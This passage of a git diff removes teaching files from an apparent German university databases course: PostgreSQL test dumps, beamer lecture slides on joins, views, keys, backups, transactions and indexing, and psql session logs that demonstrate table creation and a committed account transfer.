cd; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.cd (cd_id, albumtitel, interpret, gruendungsjahr, erscheinungsjahr) FROM stdin; -4711 Not That Kind Anastacia 1999 2000 -4712 Wish You Were Here Pink Floyd 1965 1975 -4713 Freak of Nature Anastacia 1999 2001 -4714 Songs for the Deaf Queens of the Stone Age 1996 2002 -\. - - --- --- Data for Name: lied; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.lied (cd_id, track, titel) FROM stdin; -4711 1 Not That Kind -4711 2 I'm Otta Love -4711 3 Cowboys & Kisses -4712 1 Shine On You Crazy Diamond -4713 1 Paid my Dues -\. - - --- --- Data for Name: tier; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.tier (name, tierart, id) FROM stdin; -Esmeralda Spinne 1 -Timmy Hund 2 -Dio Katze 3 -Tusnelda Spinne 4 -Ragnar Katze 5 -Putzi Ratte 6 -Felix Troll 7 -Rex Ameise 8 -\. - - --- --- PostgreSQL database dump complete --- - diff --git a/20231123/testdb-20231123-15.sql b/20231123/testdb-20231123-15.sql deleted file mode 100644 index 1141301dabb812a911a412495e3ba70dfa9a7d53..0000000000000000000000000000000000000000 --- a/20231123/testdb-20231123-15.sql +++ /dev/null @@ -1,124 +0,0 @@ --- --- PostgreSQL database dump --- - --- Dumped from database version 15.5 (Debian 15.5-0+deb12u1) --- Dumped by pg_dump version 15.5 (Debian 15.5-0+deb12u1) - -SET statement_timeout = 0; -SET lock_timeout = 0; -SET idle_in_transaction_session_timeout = 0; -SET client_encoding = 'UTF8'; -SET standard_conforming_strings = on; -SELECT pg_catalog.set_config('search_path', '', false); -SET check_function_bodies = false; -SET xmloption = content; -SET client_min_messages = warning; -SET row_security = off; - -DROP TABLE IF EXISTS public.tier; -DROP VIEW IF EXISTS public.lied_auf_cd; -DROP TABLE IF EXISTS public.lied; -DROP TABLE IF EXISTS public.cd; -DROP TABLE IF EXISTS public.interpret; -SET default_tablespace = ''; - -SET default_table_access_method = heap; - -CREATE TABLE public.cd ( - cd_id SERIAL PRIMARY KEY, - albumtitel text, - interpret_id integer, - erscheinungsjahr integer -); - -CREATE TABLE public.interpret ( - id SERIAL PRIMARY KEY, - name Text, - gruendungsjahr INTEGER -); - -CREATE TABLE public.lied ( - cd_id integer, - track integer, - titel text -); - -ALTER TABLE public.lied - ADD CONSTRAINT lied_fkey_cd_id FOREIGN KEY(cd_id) REFERENCES public.cd(cd_id); - -ALTER TABLE public.cd - ADD CONSTRAINT cd_fkey_interpret_id FOREIGN KEY(interpret_id) REFERENCES public.interpret(id); - -CREATE VIEW public.lied_auf_cd AS - SELECT cd.cd_id, - cd.albumtitel, - interpret.name, - interpret.gruendungsjahr, - cd.erscheinungsjahr, - lied.track, - lied.titel - FROM (public.cd - JOIN public.lied ON ((cd.cd_id = lied.cd_id)) - JOIN public.interpret ON ((cd.interpret_id = interpret.id)) - ); - -ALTER TABLE public.cd OWNER TO dbs; -ALTER TABLE public.lied OWNER TO dbs; -ALTER TABLE public.lied_auf_cd OWNER TO dbs; - --- --- Name: test; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.tier ( - id SERIAL PRIMARY KEY, - name text, - tierart text -); - - -ALTER TABLE public.tier OWNER TO dbs; - -COPY public.interpret (id, name, gruendungsjahr) FROM stdin; -1 Anastacia 1999 -2 Pink Floyd 1965 -3 Queens of the Stone Age 1996 -\. - -COPY public.cd (cd_id, albumtitel, interpret_id, erscheinungsjahr) FROM stdin; -4711 Not That Kind 1 2000 -4712 Wish You Were Here 2 1975 -4713 Freak of Nature 1 2001 -4714 Songs for the Deaf 3 2002 -\. - -COPY public.lied (cd_id, track, titel) FROM stdin; -4711 1 Not That Kind -4711 2 I'm Otta Love -4711 3 Cowboys & Kisses -4712 1 Shine On You Crazy Diamond -4713 1 Paid my Dues -\. - - --- --- Data for Name: tier; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.tier (name, tierart, id) FROM stdin; -Esmeralda Spinne 1 -Timmy Hund 2 -Dio Katze 3 -Tusnelda Spinne 4 -Ragnar Katze 5 -Putzi Ratte 6 -Felix Troll 7 -Rex Ameise 8 -\. - - --- --- PostgreSQL database dump complete --- - diff --git a/20231130/Zeichen_123.pdf b/20231130/Zeichen_123.pdf deleted file mode 120000 index fdbc897227df059cfda790a16555e6e417682116..0000000000000000000000000000000000000000 --- a/20231130/Zeichen_123.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Zeichen_123.pdf \ No newline at end of file diff --git a/20231130/dbs-20231130.pdf b/20231130/dbs-20231130.pdf deleted file mode 100644 index 8001939dd4fe777c0849ee8b699e753090c30748..0000000000000000000000000000000000000000 Binary files a/20231130/dbs-20231130.pdf and /dev/null differ diff --git a/20231130/dbs-20231130.tex b/20231130/dbs-20231130.tex deleted file mode 100644 index e6f49ac93bc062553d06bdbbbb8bbb3ddc72d45e..0000000000000000000000000000000000000000 --- a/20231130/dbs-20231130.tex +++ /dev/null @@ -1,464 +0,0 @@ -% dbs-20231130.pdf - Lecture Slides on Databases and Information Security -% Copyright (C) 2023 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Transaktionen, Indizierung, GUI-Zugriff - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} - -\newcommand{\vfilll}{\vspace{0pt plus 1filll}} - -\newcommand{\underconstruction}{% - \begin{picture}(0,0) - \put(11,1.2){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}} - \put(11,0.9){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}} - \end{picture}} - -\title{Datenbanken und Datensicherheit} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{30.\ November 2023} - -\begin{document} - -\maketitleframe - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \item[\textbf{4}] \textbf{Relationale Datenbanken} - \begin{itemize} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \item[4.3] Normalformen - \color{medgreen} - \item[4.4] Verknüpfungen von Tabellen - \item[4.5] Sichten - \item[4.6] Schlüsselfelder - \item[4.7] Datensicherung - \color{red} - \item[4.8] Transaktionen - \item[4.9] Indizierung - \color{black} - \item[4.10] Trigger - \color{red} - \item[4.11] GUI-Zugriff - \color{black} - \item[4.12] Sonstige Datenbanken - \end{itemize} - \item[\textbf{5}] \textbf{Kryptographie} - \begin{itemize} - \item[5.1] Einführung - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\setcounter{section}{3} -\section{Relationale Datenbanken} -\setcounter{subsection}{2} -\subsection{Normalformen} - -\begin{frame} - - \showsection - \showsubsection - - Problem: Schlecht angelegte Datenbanken werden schnell inkonsistent.\\ - Beliebte Fehler: - \begin{itemize} - \item - Speichern von mehreren Daten in demselben Tabelleneintrag\\ - {\only<1->{\color{red}\textarrow\ 1.~Normalform}} - \item - Speichern von denselben Daten in verschiedenen Tabelleneinträgen\\ - {\only<1->{\color{red}\textarrow\ 2.~Normalform}} - \item - implizite Zusammenhänge\\ - {\only<1->{\color{red}\textarrow\ 3.~Normalform und Boyce-Codd-Normalform}} - \item - voneinander unabhängige Zusammenhänge in derselben Tabelle\\ - {\only<1->{\color{red}\textarrow\ 4.~und 5.~Normalform}} - \end{itemize} - - \begin{onlyenv}<1-> - \medskip - - {\color{red}Lösung: Normalformen} - \end{onlyenv} - - \bigskip - - Literatur: z.\,B.\ \url{https://de.wikipedia.org/wiki/Normalisierung_(Datenbank)} - -\end{frame} - -\subsection{Verknüpfungen von Tabellen} - -\begin{frame} - - \showsection - \showsubsection - - Problem: Gut angelegte Datenbanken ({\color{red}\textarrow\ Normalformen})\\ - sind stark aufgesplittet.\\ - Wie kann man sie weiterhin effizient benutzen? - - \bigskip - - Lösung: Verknüpfungen von Tabellen - - \bigskip - - SQL-Befehl: \lstinline[style=cmd]{JOIN} - - \bigskip - - Literatur: z.\,B.\ \url{https://de.wikipedia.org/wiki/SQL} - -\end{frame} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - Was machen wir mit Tabelleneinträgen,\\ - bei denen die \lstinline[style=cmd]{ON}-Bedingung - nicht erfüllt ist? - - \medskip - - \begin{lstlisting}[style=terminal] - ¡SELECT <Feld[er]> FROM <Tabelle1> [INNER] JOIN <Tabelle2> - ON <Tabelle1>.<Feld> = <Tabelle2>.<Feld>;¿ - \end{lstlisting} - - \smallskip - - \begin{itemize} - \arrowitem - weglassen: \lstinline[style=cmd]{[INNER] JOIN} - \end{itemize} - - \medskip - - \begin{lstlisting}[style=terminal] - ¡SELECT <Feld[er]> FROM <Tabelle1> LEFT JOIN <Tabelle2> - ON <Tabelle1>.<Feld> = <Tabelle2>.<Feld>;¿ - \end{lstlisting} - - \smallskip - - \begin{itemize} - \arrowitem - linke Tabelle trotzdem anzeigen - (mit \lstinline[style=cmd]{NULL}-Einträgen): - \lstinline[style=cmd]{LEFT JOIN}\\ - (analog: \lstinline[style=cmd]{RIGHT JOIN} für rechte Tabelle) - \end{itemize} - - \medskip - - \begin{lstlisting}[style=terminal] - ¡SELECT <Feld[er]> FROM <Tabelle1> FULL JOIN <Tabelle2> - ON <Tabelle1>.<Feld> = <Tabelle2>.<Feld>;¿ - \end{lstlisting} - - \smallskip - - \begin{itemize} - \arrowitem - beide Tabellen trotzdem anzeigen - (mit \lstinline[style=cmd]{NULL}-Einträgen): - \lstinline[style=cmd]|FULL JOIN| - \end{itemize} - -\end{frame} - -\subsection{Sichten} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{lstlisting}[style=terminal] - ¡SELECT <Feld[er]> FROM <Tabelle1> [INNER] JOIN <Tabelle2> - ON <Tabelle1>.<Feld> = <Tabelle2>.<Feld>;¿ - \end{lstlisting} - - \smallskip - - \begin{itemize} - \arrowitem - Wir betrachten beide Tabellen zusammen als eine große Tabelle. - \end{itemize} - - \medskip - - \begin{lstlisting}[style=terminal] - ¡CREATE VIEW <Sicht> AS - SELECT <Feld[er]> FROM <Tabelle1> JOIN <Tabelle2> - ON <Tabelle1>.<Feld> = <Tabelle2>.<Feld>; - SELECT <Feld[er]> FROM <Sicht> [WHERE ...];¿ - \end{lstlisting} - - \smallskip - - \begin{itemize} - \arrowitem - Wir sprechen das Ergebnis genau wie eine Tabelle an. - \bigskip - \arrowitem - Es ist möglich, ohne Verlust an Komfort alle Daten in Normalform zu halten. - \end{itemize} - -\end{frame} - -\subsection{Schlüsselfelder} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{lstlisting}[style=terminal] - ¡CREATE TABLE tabelle1 ( - id INT PRIMARY KEY AUTO_INCREMENT, - ... - ); - CREATE TABLE tabelle2 ( - ... - tabelle1_id INT, - ... - FOREIGN KEY(tabelle1_id) REFERENCES tabelle1(id) - ); - \end{lstlisting} - - \smallskip - - \begin{itemize} - \arrowitem - Dem DBMS mitteilen, welche Felder für \lstinline[style=cmd]{JOIN} - vorgesehen sind. - \arrowitem - Das DBMS kann mit auf Konsistenz achten. - \end{itemize} - -\end{frame} - -\subsection{Datensicherung} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{lstlisting}[style=terminal] - $ ¡pg_dump --clean -h <Rechner> -U <User> -W <Datenbank>¿ - \end{lstlisting} - - \smallskip - - \begin{itemize} - \item - Ausgabe des gesamten Datenbankinhalts\\ - als SQL-Quelltext zur Standardausgabe - \arrowitem - keine Probleme mit sich evtl.\ ändernden Binärformaten - \item - Es ist möglich, den Inhalt direkt in einer Pipe weiterzuverarbeiten\\ - (z.\,B.\ zu komprimieren). - \item - Zurückspielen: mit \lstinline[style=cmd]{psql} - \end{itemize} - - \smallskip - - \begin{lstlisting}[style=terminal] - $ ¡psql -h <Rechner> -U <User> -W <Datenbank> \ - < <Ausgabe von pg_dump>¿ - \end{lstlisting} - - \smallskip - - \begin{itemize} - \item - analog für \file{MariaDB}: \lstinline[style=cmd]{mariadb-dump} - \end{itemize} - -\end{frame} - -\subsection{Transaktionen} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{itemize} - \item - Ziel: Wahrung der Konsistenz - \item - Methode: zusammengehörige Aktionen zu einer \newterm{Transaktion} zusammenfassen - \item - Beispiel: Überweisung\\ - Betrag von einem Konto subtrahieren\\ - und "`gleichzeitig"' zu einem anderen Konto addieren - \item - Realisierung in PostgreSQL: - \lstinline[style=cmd]{BEGIN;} \dots\ \lstinline[style=cmd]{COMMIT;} - \item - Realisierung in MariaDB: - \lstinline[style=cmd]{START TRANSACTION;} \dots\ \lstinline[style=cmd]{COMMIT;} - \item - Abbruch einer Transaktion: - \lstinline[style=cmd]{ROLLBACK;} statt \lstinline[style=cmd]{COMMIT;} - \end{itemize} - -\end{frame} - -\subsection{Indizierung} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{itemize} - \item - Ziel: Performanzgewinn - \item - Methode: Spalten, in denen häufig gesucht wird, sortieren - \item - Beispiel: Datenbank mit Kontaktdaten\\ - Suche nach Name, Adresse, Telefonnummer - \item - Realisierung in PostgreSQL und MariaDB: - \begin{lstlisting}[style=cmd,gobble=8] - CREATE INDEX <Indexname> ON <Tabellenname> - ( - <Spaltenname>, - ... - ); - \end{lstlisting} - \item - Vorteil: schnellere Suche (\lstinline[style=cmd]{SELECT}) in indizierten Spalten - \pause - \item - Nachteil: langsameres Einfügen/Ändern/Löschen - \end{itemize} - -\end{frame} - -\addtocounter{subsection}{1} - -\subsection{GUI-Zugriff} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \item - Anwendung nutzt DBMS-Client-Bibliothek\\ - GUI-Programmierung: wie gewohnt - \item - Spezialfall: Web-Anwendung - \end{itemize} - - \bigskip - - Beispiel: Programmiersprache PHP - \begin{itemize} - \item - Integration in HTML-Quelltext: \lstinline{<?php ... ?>} - \item - Objekt zur Kommunikation mit Datenbanken: \lstinline{PDO} - \end{itemize} - -\end{frame} - -\iffalse - -\subsection{Sonstige Datenbanken} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \item - Eingebettete Datenbanken:\\ - Berkeley DB, SQLite\\ - Software-Bibliothek, keine Client-Server-Struktur - \item - Nicht-relationale Datenbanken:\\ - dokumentenorientierte Datenbanken, noSQL\\ - Performanz wichtiger als Konsistenz\\ - \textarrow\ Applikationen stärker in Konsistenzprüfung eingebunden - \end{itemize} - -\end{frame} - -\section{Kryptographie} -\subsection{Einführung} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \item - Verschlüsselung: symmetrisch, asymmetrisch, hybrid - \item - Hashes: Einwegfunktionen, Salt - \item - Signaturen, Zertifikate - \item - Schlüsselaustausch - \end{itemize} - -\end{frame} - -\fi - -\end{document} diff --git a/20231130/indexing-01.txt b/20231130/indexing-01.txt deleted file mode 100644 index 2e27969ccee94ed14bb66785ee3acf197e04afaa..0000000000000000000000000000000000000000 --- a/20231130/indexing-01.txt +++ /dev/null @@ -1,28 +0,0 @@ -testdb=> SELECT * FROM account where number = 'DE12 3456 7890 ABCD EFGH IJ'; - id | number | balance -----+-----------------------------+--------- - 1 | DE12 3456 7890 ABCD EFGH IJ | 1000001 -(1 Zeile) - -testdb=> CREATE INDEX index_account_number ON account ( number ); -CREATE INDEX -testdb=> \d account - Tabelle »public.account« - Spalte | Typ | Sortierfolge | NULL erlaubt? | Vorgabewert ----------+---------+--------------+---------------+------------------------------------- - id | integer | | not null | nextval('account_id_seq'::regclass) - number | text | | | - balance | integer | | | -Indexe: - "account_pkey" PRIMARY KEY, btree (id) - "index_account_number" btree (number) -Fremdschlüsselverweise von: - TABLE "customer" CONSTRAINT "customer_fkey_account_id" FOREIGN KEY (account_id) REFERENCES account(id) - -testdb=> SELECT * FROM account where number = 'DE12 3456 7890 ABCD EFGH IJ'; - id | number | balance -----+-----------------------------+--------- - 1 | DE12 3456 7890 ABCD EFGH IJ | 1000001 -(1 Zeile) - -testdb=> diff --git a/20231130/logo-hochschule-bochum-cvh-text-v2.pdf b/20231130/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20231130/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20231130/logo-hochschule-bochum.pdf b/20231130/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20231130/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20231130/pgslides.sty b/20231130/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20231130/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20231130/transactions-01.txt b/20231130/transactions-01.txt deleted file mode 100644 index 0271a02accab36fb3afece1884a188daa87b9a7c..0000000000000000000000000000000000000000 --- a/20231130/transactions-01.txt +++ /dev/null @@ -1,33 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231130> psql -h localhost -U dbs -W testdb -Passwort: -psql (15.5 (Debian 15.5-0+deb12u1)) -SSL-Verbindung (Protokoll: TLSv1.3, Verschlüsselungsmethode: TLS_AES_256_GCM_SHA384, Komprimierung: aus) -Geben Sie »help« für Hilfe ein. - -testdb=> CREATE TABLE IF NOT EXISTS customer VALUES(id PRIMARY KEY AUTO_INCEMENR, lastname TEXT, firstname TEXT, account TEXT); -FEHLER: Syntaxfehler bei »VALUES« -ZEILE 1: CREATE TABLE IF NOT EXISTS customer VALUES(id PRIMARY KEY AU... - ^ -testdb=> CREATE TABLE IF NOT EXISTS customer VALUES(id AUTO_INCEMENR, lastname TEXT, firstname TEXT, account TEXT); -FEHLER: Syntaxfehler bei »VALUES« -ZEILE 1: CREATE TABLE IF NOT EXISTS customer VALUES(id AUTO_INCEMENR,... - ^ -testdb=> CREATE TABLE IF NOT EXISTS customer VALUES(id AUTO_INCREMENT, lastname TEXT, firstname TEXT, account TEXT); -FEHLER: Syntaxfehler bei »VALUES« -ZEILE 1: CREATE TABLE IF NOT EXISTS customer VALUES(id AUTO_INCREMENT... - ^ -testdb=> CREATE TABLE IF NOT EXISTS customer VALUES(id PRIMARY KEY AUTO_INCREMENT, lastname TEXT, firstname TEXT, account TEXT); -FEHLER: Syntaxfehler bei »VALUES« -ZEILE 1: CREATE TABLE IF NOT EXISTS customer VALUES(id PRIMARY KEY AU... - ^ -testdb=> CREATE TABLE IF NOT EXISTS customer (id PRIMARY KEY AUTO_INCREMENT, lastname TEXT, firstname TEXT, account TEXT); -FEHLER: Syntaxfehler bei »PRIMARY« -ZEILE 1: CREATE TABLE IF NOT EXISTS customer (id PRIMARY KEY AUTO_INC... - ^ -testdb=> CREATE TABLE IF NOT EXISTS customer (id INTEGER PRIMARY KEY AUTO_INCREMENT, lastname TEXT, firstname TEXT, account TEXT); -FEHLER: Syntaxfehler bei »AUTO_INCREMENT« -ZEILE 1: ...LE IF NOT EXISTS customer (id INTEGER PRIMARY KEY AUTO_INCRE... - ^ -testdb=> CREATE TABLE IF NOT EXISTS customer (id SERIAL PRIMARY KEY, lastname TEXT, firstname TEXT, account TEXT); -CREATE TABLE -testdb=> diff --git a/20231130/transactions-02.txt b/20231130/transactions-02.txt deleted file mode 100644 index 1e3c82b9e45f6a72c28c37d9edc4f9615bf63779..0000000000000000000000000000000000000000 --- a/20231130/transactions-02.txt +++ /dev/null @@ -1,37 +0,0 @@ -testdb=> ALTER TABLE customer DELETE COLUMN account; -FEHLER: Syntaxfehler bei »DELETE« -ZEILE 1: ALTER TABLE customer DELETE COLUMN account; - ^ -testdb=> ALTER TABLE customer DROP COLUMN account; -ALTER TABLE -testdb=> ALTER TABLE customer ADD COLUMN account_id INTEGER; -ALTER TABLE -testdb=> \d - Liste der Relationen - Schema | Name | Typ | Eigentümer ---------+------------------+---------+------------ - public | cd | Tabelle | dbs - public | cd_cd_id_seq | Sequenz | dbs - public | customer | Tabelle | dbs - public | customer_id_seq | Sequenz | dbs - public | interpret | Tabelle | dbs - public | interpret_id_seq | Sequenz | dbs - public | lied | Tabelle | dbs - public | lied_auf_cd | Sicht | dbs - public | test | Tabelle | dbs - public | tier | Tabelle | dbs - public | tier_id_seq | Sequenz | dbs -(11 Zeilen) - -testdb=> \d customer - Tabelle »public.customer« - Spalte | Typ | Sortierfolge | NULL erlaubt? | Vorgabewert -------------+---------+--------------+---------------+-------------------------------------- - id | integer | | not null | nextval('customer_id_seq'::regclass) - lastname | text | | | - firstname | text | | | - account_id | integer | | | -Indexe: - "customer_pkey" PRIMARY KEY, btree (id) - -testdb=> diff --git a/20231130/transactions-03.txt b/20231130/transactions-03.txt deleted file mode 100644 index 4081b2bf54be65b1cfcd13cd1d754fce35ce5ca7..0000000000000000000000000000000000000000 --- a/20231130/transactions-03.txt +++ /dev/null @@ -1,28 +0,0 @@ -testdb=> \d customer - Tabelle »public.customer« - Spalte | Typ | Sortierfolge | NULL erlaubt? | Vorgabewert -------------+---------+--------------+---------------+-------------------------------------- - id | integer | | not null | nextval('customer_id_seq'::regclass) - lastname | text | | | - firstname | text | | | - account_id | integer | | | -Indexe: - "customer_pkey" PRIMARY KEY, btree (id) - -testdb=> \d account - Tabelle »public.account« - Spalte | Typ | Sortierfolge | NULL erlaubt? | Vorgabewert ----------+---------+--------------+---------------+------------------------------------- - id | integer | | not null | nextval('account_id_seq'::regclass) - number | text | | | - balance | integer | | | -Indexe: - "account_pkey" PRIMARY KEY, btree (id) - -testdb=> ALTER TABLE customer ADD CONSTRAINT customer_fkey_account_id FOREIGN KEY accoun - -testdb=> ALTER TABLE customer ADD CONSTRAINT customer_fkey_account_id FOREIGN KEY account_id REFER - -testdb=> ALTER TABLE customer ADD CONSTRAINT customer_fkey_account_id FOREIGN KEY(account_id) REFERENCES account(id); -ALTER TABLE -testdb=> diff --git a/20231130/transactions-04.txt b/20231130/transactions-04.txt deleted file mode 100644 index f14d3cb16e744b0b51eacce11ceaa3f92ca79792..0000000000000000000000000000000000000000 --- a/20231130/transactions-04.txt +++ /dev/null @@ -1,35 +0,0 @@ -testdb=> INSERT INTO customer (lastname, firstname, account_id) VALUES ('Mustermann', 'Erika', 1); -FEHLER: Einfügen oder Aktualisieren in Tabelle »customer« verletzt Fremdschlüssel-Constraint »customer_fkey_account_id« -DETAIL: Schlüssel (account_id)=(1) ist nicht in Tabelle »account« vorhanden. -testdb=> SELECT * FROM account; id | number | balance -----+--------+--------- -(0 Zeilen) - -testdb=> SELECT * FROM customer; - id | lastname | firstname | account_id -----+----------+-----------+------------ -(0 Zeilen) - -testdb=> INSERT INTO account (number, balance) VALUES ('DE12 3456 7890 ABCD EFGH IJ', 0); -INSERT 0 1 -testdb=> SELECT * FROM account; - id | number | balance -----+-----------------------------+--------- - 1 | DE12 3456 7890 ABCD EFGH IJ | 0 -(1 Zeile) - -testdb=> INSERT INTO customer (lastname, firstname, account_id) VALUES ('Mustermann', 'Erika', 1); -INSERT 0 1 -testdb=> SELECT * FROM customer; - id | lastname | firstname | account_id -----+------------+-----------+------------ - 2 | Mustermann | Erika | 1 -(1 Zeile) - -testdb=> SELECT * FROM account; - id | number | balance -----+-----------------------------+--------- - 1 | DE12 3456 7890 ABCD EFGH IJ | 0 -(1 Zeile) - -testdb=> diff --git a/20231130/transactions-05.txt b/20231130/transactions-05.txt deleted file mode 100644 index ce4d61e98c839f8f7fbd29d04a727416ea0534e3..0000000000000000000000000000000000000000 --- a/20231130/transactions-05.txt +++ /dev/null @@ -1,15 +0,0 @@ -testdb=> UPDATE customer SET balance = 5000000 WHERE lastname = 'Rich'; -FEHLER: Spalte »balance« von Relation »customer« existiert nicht -ZEILE 1: UPDATE customer SET balance = 5000000 WHERE lastname = 'Rich... - ^ -testdb=> UPDATE account SET balance = 5000000 WHERE lastname = 'Rich'; -FEHLER: Spalte »lastname« existiert nicht -ZEILE 1: UPDATE account SET balance = 5000000 WHERE lastname = 'Rich'... - ^ -testdb=> UPDATE account SET balance = 5000000 WHERE (SELECT account_id FROM customer WHERE lastname = 'Rich'); -FEHLER: Argument von WHERE muss Typ boolean haben, nicht Typ integer -ZEILE 1: UPDATE account SET balance = 5000000 WHERE (SELECT account_i... - ^ -testdb=> UPDATE account SET balance = 5000000 WHERE id = (SELECT account_id FROM customer WHERE lastname = 'Rich'); -UPDATE 1 -testdb=> diff --git a/20231130/transactions-06.txt b/20231130/transactions-06.txt deleted file mode 100644 index bd01808a61dc47d4dbb0290ecfcc67ef48a0e926..0000000000000000000000000000000000000000 --- a/20231130/transactions-06.txt +++ /dev/null @@ -1,19 +0,0 @@ -testdb=> UPDATE customer SET balance = 5000000 WHERE lastname = 'Rich'; -FEHLER: Spalte »balance« von Relation »customer« existiert nicht -ZEILE 1: UPDATE customer SET balance = 5000000 WHERE lastname = 'Rich... - ^ -testdb=> UPDATE account SET balance = 5000000 WHERE lastname = 'Rich'; -FEHLER: Spalte »lastname« existiert nicht -ZEILE 1: UPDATE account SET balance = 5000000 WHERE lastname = 'Rich'... - ^ -testdb=> UPDATE account SET balance = 5000000 WHERE (SELECT account_id FROM customer WHERE lastname = 'Rich'); -FEHLER: Argument von WHERE muss Typ boolean haben, nicht Typ integer -ZEILE 1: UPDATE account SET balance = 5000000 WHERE (SELECT account_i... - ^ -testdb=> UPDATE account SET balance = 5000000 WHERE id = (SELECT account_id FROM customer WHERE lastname = 'Rich'); -UPDATE 1 -testdb=> UPDATE account JOIN customer ON customer.account_id = account.id SET account.balance = 5000001 WHERE customer.lastname = 'Rich'; -FEHLER: Syntaxfehler bei »JOIN« -ZEILE 1: UPDATE account JOIN customer ON customer.account_id = accoun... - ^ -testdb=> diff --git a/20231130/transactions-07.txt b/20231130/transactions-07.txt deleted file mode 100644 index 954568e9767eacc7512ddc9e0b9fa45eaa038020..0000000000000000000000000000000000000000 --- a/20231130/transactions-07.txt +++ /dev/null @@ -1,31 +0,0 @@ -testdb=> SELECT * FROM customer; - id | lastname | firstname | account_id -----+------------+-----------+------------ - 2 | Mustermann | Erika | 1 - 4 | Rich | Richie | 2 -(2 Zeilen) - -testdb=> SELECT * FROM account; - id | number | balance -----+-----------------------------+--------- - 1 | DE12 3456 7890 ABCD EFGH IJ | 0 - 2 | DE98 7654 3210 ABCD EFGH IJ | 5000000 -(2 Zeilen) - -testdb=> UPDATE account SET balance = balance + 1000000 WHERE id = (SELECT account_id FROM customer WHERE lastname = 'Mustermann'); -UPDATE 1 -testdb=> UPDATE account SET balance = balance - 1000000 WHERE id = (SELECT account_id FROM customer WHERE lastname = 'Rich'); -UPDATE 1 -testdb=> SELECT * FROM customer; id | lastname | firstname | account_id -----+------------+-----------+------------ - 2 | Mustermann | Erika | 1 - 4 | Rich | Richie | 2 -(2 Zeilen) - -testdb=> SELECT * FROM account; id | number | balance -----+-----------------------------+--------- - 1 | DE12 3456 7890 ABCD EFGH IJ | 1000000 - 2 | DE98 7654 3210 ABCD EFGH IJ | 4000000 -(2 Zeilen) - -testdb=> diff --git a/20231130/transactions-08.txt b/20231130/transactions-08.txt deleted file mode 100644 index 4c5995e636d998eb5b0ba1ad63f960a1b4aa8678..0000000000000000000000000000000000000000 --- a/20231130/transactions-08.txt +++ /dev/null @@ -1,21 +0,0 @@ -testdb=> BEGIN; -BEGIN -testdb=*> UPDATE account SET balance = balance + 1 WHERE id = (SELECT account_id FROM customer WHERE lastname = 'Mustermann'); -UPDATE 1 -testdb=*> UPDATE account SET balance = balance - 1 WHERE id = (SELECT account_id FROM customer WHERE lastname = 'Rich'); -UPDATE 1 -testdb=*> SELECT * FROM customer; id | lastname | firstname | account_id -----+------------+-----------+------------ - 2 | Mustermann | Erika | 1 - 4 | Rich | Richie | 2 -(2 Zeilen) - -testdb=*> SELECT * FROM account; id | number | balance -----+-----------------------------+--------- - 1 | DE12 3456 7890 ABCD EFGH IJ | 1000001 - 2 | DE98 7654 3210 ABCD EFGH IJ | 3999999 -(2 Zeilen) - -testdb=*> COMMIT; -COMMIT -testdb=> diff --git a/20231130/transactions-09.txt b/20231130/transactions-09.txt deleted file mode 100644 index 5f0e8c07534be6488fb9d2ef8d1f43ec4177f2dc..0000000000000000000000000000000000000000 --- a/20231130/transactions-09.txt +++ /dev/null @@ -1,34 +0,0 @@ -testdb=> BEGIN; BEGIN -testdb=*> UPDATE account SET balance = balance + 10000000 WHERE id = (SELECT account_id FROM customer WHERE lastname = 